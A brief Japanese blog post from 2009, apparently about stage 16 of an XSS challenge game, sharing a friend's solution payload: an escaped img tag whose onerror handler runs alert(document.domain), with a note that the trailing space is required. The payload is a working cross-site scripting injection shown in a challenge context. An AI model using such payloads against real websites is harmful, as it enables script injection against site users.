2009-02-03 stage16 yamagataさんへ コメント出来なかったので自分のとこで公開します。 友人のlinzが見つけたxss 『\\\\x3cimg src=hoge.jpg onerror=alert(document.domain) 』 最後の半角スペースまで必要です。